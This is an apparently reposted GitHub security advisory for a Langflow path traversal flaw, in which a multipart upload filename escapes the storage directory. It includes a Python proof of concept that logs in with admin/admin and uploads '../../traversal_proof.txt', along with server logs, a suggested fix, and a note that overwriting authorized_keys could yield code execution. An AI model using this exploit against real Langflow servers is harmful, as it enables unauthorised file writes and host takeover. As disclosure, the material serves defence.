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Langflow has an Arbitrary File Write (RCE) via v2 API

CVE-2026-33309 ยท 2026-03-19 critical

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Path traversal and file access
Affected
langflow (PyPI)
Gets past
Path restriction
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS
13.8% chance of exploitation in 30 days

How it works, in short

The v2 upload route takes the multipart filename unchecked and writes via naive path joining, so authenticated users can write outside the upload directory. (Our summary, written by a model. The source text is below.)

Details

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

Recommended Fix:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

References

Source: GitHub Advisory Database, used under CC BY 4.0.